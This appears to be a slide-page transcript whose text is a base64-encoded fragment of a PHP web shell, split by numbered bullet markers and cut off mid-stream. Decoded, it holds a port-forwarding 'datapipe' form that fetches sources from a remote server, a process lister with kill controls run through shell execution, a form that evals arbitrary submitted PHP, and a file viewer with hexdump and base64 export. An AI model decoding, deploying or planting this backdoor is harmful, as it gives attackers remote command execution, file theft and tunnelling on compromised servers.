ZT0iZGF0YXBpcGVbcmVtb3RlYWRkcl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hh cnMoJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0 IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtsb2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBo dG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVj dCBuYW1lPSJkYXRhcGlwZVtzcmNdIj48P3BocA0KZm9yZWFjaCgkZHBzcmNzIGFzICRrPT4kdikg e2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7 ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30NCj8+PC9zZWxl Y3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ZHBzdWJtaXQgdmFsdWU9IlJ1biI+PC9m b3JtPjxiPk5vdGU6PC9iPiBzb3VyY2VzIHdpbGwgYmUgZG93bmxvYWRlZCBmcm9tIHJlbW90ZSBz ZXJ2ZXIuPD9waHANCn0NCmlmICgkYWN0ID09ICJwcm9jZXNzZXMiKQ0Kew0KIGVjaG8gIjxiPlBy b2Nlc3Nlczo8L2I+PGJyPiI7DQogaWYgKCEkd2luKSB7JGhhbmRsZXIgPSAicHMgLWF1eCIuKCRn cmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7fQ0KIGVsc2UgeyRoYW5k bGVyID0gInRhc2tsaXN0Ijt9DQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsNCiBpZiAo ISRyZXQpIHtlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjt9DQogZWxzZQ0K IHsNCiAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29y dF9kZWZhdWx0O30NCiAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOw0K ICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQog ICRrID0gJHBhcnNlc29ydFswXTsNCiAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAi PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFj dC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50 b2RvLnByb2Nlc3Nlc19zb3J0LnZhbHVlPSciLiRrLiJhXCInO2RvY3VtZW50LnRvZG8uc3VibWl0 KCk7XCI+ITwvYT4iO30NCiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9 JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnByb2Nlc3Nlc19zb3J0LnZhbHVlPSci LiRrLiJkXCInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+ITwvYT4iO30NCiAgJHJldCA9IGh0 bWxzcGVjaWFsY2hhcnMoJHJldCk7DQogIGlmICghJHdpbikNCiAgew0KICAgaWYgKCRwaWQpDQog ICB7DQogICAgaWYgKGlzX251bGwoJHNpZykpIHskc2lnID0gOTt9DQogICAgZWNobyAiU2VuZGlu ZyBzaWduYWwgIi4kc2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7DQogICAgaWYgKHBvc2l4X2tpbGwo JHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQ0KICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQ0KICAg fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIg IiwkcmV0KTt9DQogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAkaGVhZCA9IGV4 cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICB1bnNldCgkc3RhY2tbMF0pOw0KICAgZm9yKCRpPTA7 JGk8Y291bnQoJGhlYWQpOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGld ID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSciLiRk c3BhY3QuIic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1l bnQudG9kby5wcm9jZXNzZXNfc29ydC52YWx1ZT0nIi4kaS4kcGFyc2Vzb3J0WzFdLiInO2RvY3Vt ZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9DQogICB9DQog ICAkcHJjcyA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpDQogICB7DQog ICAgaWYgKCFlbXB0eSgkbGluZSkpDQogICAgICAgIHsNCiAgICAgICAgIGVjaG8gIjx0cj4iOw0K ICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgJGxpbmVbMTBdID0gam9pbigi ICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsNCiAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGlu ZSwwLDExKTsNCiAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5l WzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30NCiAgICAgJGxp bmVbXSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0n cHJvY2Vzc2VzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1 bWVudC50b2RvLnBpZC52YWx1ZT0nIi4kbGluZVsxXS4iJztkb2N1bWVudC50b2RvLnNpZy52YWx1 ZT0nOSc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48dT5LSUxMPC91PjwvYT4iOw0KICAgICAk cHJjc1tdID0gJGxpbmU7DQogICAgIGVjaG8gIjwvdHI+IjsNCiAgICB9DQogICB9DQogIH0NCiAg ZWxzZQ0KICB7DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNl KCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJl dCA9IHN0cl9yZXBsYWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygi
  • 40. ICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQog ICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAgICAg ICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBs YWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7 JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJl ZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9 DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAg ICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9y ZXBsYWNlKCIgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAgICAgICAg ICAgICAgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgICAgICAgICAgICAgICAiLCIg ICAgICAgICIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgICAgICAgICIsJHJldCkpIHskcmV0 ID0gc3RyX3JlcGxhY2UoIiAgICAgICAgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICAkcmV0ID0g Y29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAkc3RhY2sgPSBleHBsb2RlKCJc biIsJHJldCk7DQogICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsNCiAgICRzdGFjayA9IGFy cmF5X3ZhbHVlcygkc3RhY2spOw0KICAgJGhlYWQgPSBleHBsb2RlKCIgICAgICAgICIsJHN0YWNr WzBdKTsNCiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIsJGhlYWRbMV0pOw0KICAgJGhlYWRbMV0g PSAkaGVhZFsxXVswXTsNCiAgICRzdGFjayA9IGFycmF5X3NsaWNlKCRzdGFjaywxKTsNCiAgIHVu c2V0KCRoZWFkWzJdKTsNCiAgICRoZWFkID0gYXJyYXlfdmFsdWVzKCRoZWFkKTsNCg0KICAgaWYg KCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9 JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnByb2Nlc3Nlc19zb3J0LnZhbHVlPSci LiRrLiJhXCInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+ITwvYT4iO30NCiAgIGVsc2UgeyR5 ID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSciLiRk c3BhY3QuIic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1l bnQudG9kby5wcm9jZXNzZXNfc29ydC52YWx1ZT0nIi4kay4iZFwiJztkb2N1bWVudC50b2RvLnN1 Ym1pdCgpO1wiPiE8L2E+Ijt9DQogICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9IGNvdW50 KCRoZWFkKS0xO30NCiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQ0KICAgew0KICAg IGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1 bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0n Ii51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8ucHJvY2Vzc2VzX3NvcnQudmFsdWU9JyIu JGkuJHBhcnNlc29ydFsxXS4iYVwiJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjxiPiIudHJp bSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQ0KICAgfQ0KICAgJHByY3MgPSBhcnJheSgpOw0KICAg Zm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQ0KICAgew0KICAgIGlmICghZW1wdHkoJGxpbmUpKQ0K ICAgIHsNCiAgICAgZWNobyAiPHRyPiI7DQogICAgICRsaW5lID0gZXhwbG9kZSgiICAgICAgICAi LCRsaW5lKTsNCiAgICAgJGxpbmVbMV0gPSBpbnR2YWwoJGxpbmVbMV0pOyAkbGluZVsyXSA9ICRs aW5lWzNdOyB1bnNldCgkbGluZVszXSk7DQogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBs YWNlKCIgIiwiIiwkbGluZVsyXSkpKjEwMjQ7DQogICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAg ZWNobyAiPC90cj4iOw0KICAgIH0NCiAgIH0NCiAgfQ0KICAkaGVhZFska10gPSAiPGI+Ii4kaGVh ZFska10uIjwvYj4iLiR5Ow0KICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsNCiAgdXNvcnQoJHBy Y3MsInRhYnNvcnQiKTsNCiAgaWYgKCRwcm9jZXNzZXNfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9 IGFycmF5X3JldmVyc2UoJHByY3MpO30NCiAgJHRhYiA9IGFycmF5KCk7DQogICR0YWJbXSA9ICRo ZWFkOw0KICAkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7DQogIGVjaG8gIjxUQUJMRSBo ZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5n PTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBj MCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj4iOw0KICBmb3JlYWNoKCR0YWIgYXMg JGk9PiRrKQ0KICB7DQogICBlY2hvICI8dHI+IjsNCiAgIGZvcmVhY2goJGsgYXMgJGo9PiR2KSB7 aWYgKCR3aW4gYW5kICRpID4gMCBhbmQgJGogPT0gMikgeyR2ID0gdmlld19zaXplKCR2KTt9IGVj aG8gIjx0ZD4iLiR2LiI8L3RkPiI7fQ0KICAgZWNobyAiPC90cj4iOw0KICB9DQogIGVjaG8gIjwv dGFibGU+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAiZXZhbCIpDQp7DQogaWYgKCFlbXB0eSgkZXZh bCkpDQogew0KICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU8L2I+ Ojxicj4iOw0KICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICRvbGRkaXIgPSByZWFscGF0 aCgiLiIpOw0KICBAY2hkaXIoJGQpOw0KICBpZiAoJHRtcCkNCiAgew0KICAgb2JfY2xlYW4oKTsN CiAgIGV2YWwoJGV2YWwpOw0KICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgJHJldCA9 IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgb2JfY2xlYW4oKTsNCiAgIGVj aG8gJHRtcDsNCiAgIGlmICgkZXZhbF90eHQpDQogICB7DQogICAgJHJvd3MgPSBjb3VudChleHBs b2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0K ICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiBy ZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgIH0NCiAg IGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQ0KICB9DQogIGVsc2UNCiAgew0KICAgaWYgKCRldmFs
  • 41. X3R4dCkNCiAgIHsNCiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwi MTVcIiByZWFkb25seT4iOw0KICAgIGV2YWwoJGV2YWwpOw0KICAgIGVjaG8gIjwvdGV4dGFyZWE+ IjsNCiAgIH0NCiAgIGVsc2Uge2VjaG8gJHJldDt9DQogIH0NCiAgQGNoZGlyKCRvbGRkaXIpOw0K IH0NCiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gUEhQLWNvZGU8L2I+IjsgaWYgKGVtcHR5KCRl dmFsX3R4dCkpIHskZXZhbF90eHQgPSBUUlVFO319DQogZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+ PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJl dmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCku IjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNw ZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7 RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1c ImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQi O30gZWNobyAiPjwvZm9ybT4iOw0KfQ0KaWYgKCRhY3QgPT0gImYiKQ0Kew0KIGlmICgoIWlzX3Jl YWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikNCiB7DQog IGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5p ZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNl IHtlY2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiLmh0bWxzcGVjaWFsY2hh cnMoJGQuJGYpLiIpITwvYj48YnI+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9k by5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiIn O2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J2VkaXQnO2RvY3VtZW50LnRvZG8uYy52YWx1ZT0nMSc7 ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5z dWJtaXQoKTtcIj48dT5DcmVhdGU8L3U+PC9hPjwvY2VudGVyPiI7fQ0KIH0NCiBlbHNlDQogew0K ICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICRleHQgPSBleHBsb2RlKCIuIiwk Zik7DQogICRjID0gY291bnQoJGV4dCktMTsNCiAgJGV4dCA9ICRleHRbJGNdOw0KICAkZXh0ID0g c3RydG9sb3dlcigkZXh0KTsNCiAgJHJmdCA9ICIiOw0KICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9 PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICBpZiAo ZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9DQogIGlmIChlbXB0eSgk ZnQpKSB7JGZ0ID0gJHJmdDt9DQogICRhcnIgPSBhcnJheSgNCiAgIGFycmF5KCJESVoiLCJpbmZv IiksDQogICBhcnJheSgiSFRNTCIsImh0bWwiKSwNCiAgIGFycmF5KCJUWFQiLCJ0eHQiKSwNCiAg IGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgYXJyYXkoIlNlc3Npb24iLCJwaHBzZXNzIiksDQog ICBhcnJheSgiRVhFIiwiZXhlIiksDQogICBhcnJheSgiU0RCIiwic2RiIiksDQogICBhcnJheSgi SU5JIiwiaW5pIiksDQogICBhcnJheSgiRE9XTkxPQUQiLCJkb3dubG9hZCIpLA0KICAgYXJyYXko IlJURiIsIm5vdGVwYWQiKSwNCiAgIGFycmF5KCJFRElUIiwiZWRpdCIpDQogICk7DQogIGVjaG8g IjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZp bGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Bl cm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsN CiAgZm9yZWFjaCgkYXJyIGFzICR0KQ0KICB7DQogICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8g IiA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9j dW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQudG9kby5mdC52 YWx1ZT0nIi4kdFsxXS4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4i Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwv Zm9udD48L2E+Ijt9DQogICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwi I1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5m LnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0nIi4kdFsx XS4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50 b2RvLnN1Ym1pdCgpO1wiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQ0KICAgZWxzZSB7 ZWNobyAiIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdm Jztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1bWVudC50b2Rv LmZ0LnZhbHVlPSciLiR0WzFdLiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUo JGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+Ii4kdFswXS4iPC9iPjwvYT4iO30N CiAgIGVjaG8gIiB8IjsNCiAgfQ0KICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQog IGlmICgkZnQgPT0gImluZm8iKQ0KICB7DQogICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRh YmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8 L2I+PC90ZD48dGQ+ICIuJGQuJGYuIjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48 dGQ+ICIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1E NTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOw0KICAgaWYgKCEk d2luKQ0KICAgew0KICAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ ICI7DQogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7DQogICAgJGdy ID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgZWNobyAoJG93WyJuYW1l Il0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5h
  • 42. bWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgIH0NCiAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8 L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFs dWU9J2NobW9kJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1 bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1p dCgpO1wiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48 Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1l KCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAi LmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+ PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGlt ZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICRmaSA9IGZvcGVuKCRkLiRm LCJyYiIpOw0KICAgaWYgKCRmaSkNCiAgIHsNCiAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAi PGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9 DQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgk ZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICRuID0gMDsNCiAgICAkYTAg PSAiMDAwMDAwMDA8YnI+IjsNCiAgICAkYTEgPSAiIjsNCiAgICAkYTIgPSAiIjsNCiAgICBmb3Ig KCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykNCiAgICB7DQogICAgICRhMSAuPSBzcHJpbnRm KCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkN CiAgICAgew0KICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0K ICAgICAgY2FzZSAzMjoNCiAgICAgIGNhc2UgMTA6DQogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZu YnNwOyI7IGJyZWFrOw0KICAgICAgZGVmYXVsdDogJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0 clskaV0pOw0KICAgICB9DQogICAgICRuKys7DQogICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dz KQ0KICAgICB7DQogICAgICAkbiA9IDA7DQogICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkg eyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQ0KICAgICAgJGExIC49ICI8YnI+ IjsNCiAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgIH0NCiAgICB9DQogICAgLy9pZiAoJGExICE9 ICIiKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQ0KICAgIGVjaG8gIjx0YWJs ZSBib3JkZXI9MCBiZ2NvbG9yPSM2NjY2NjYgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz00Pjx0 cj48dGQgYmdjb2xvcj0jNjY2NjY2PiIuJGEwLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRh MS4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTIuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4i Ow0KICAgfQ0KICAgJGVuY29kZWQgPSAiIjsNCiAgIGlmICgkYmFzZTY0ID09IDEpDQogICB7DQog ICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2 NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFz ZTY0ID09IDIpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxi cj4iOw0KICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9j b250ZW50cygkZC4kZikpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDMpDQogICB7DQog ICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOw0KICAg ICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAg ICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRl bmNvZGVkKSwwLC0yKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDQpDQogICB7DQogICAg JHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGVuY29kZWQgPSBiYXNlNjRf 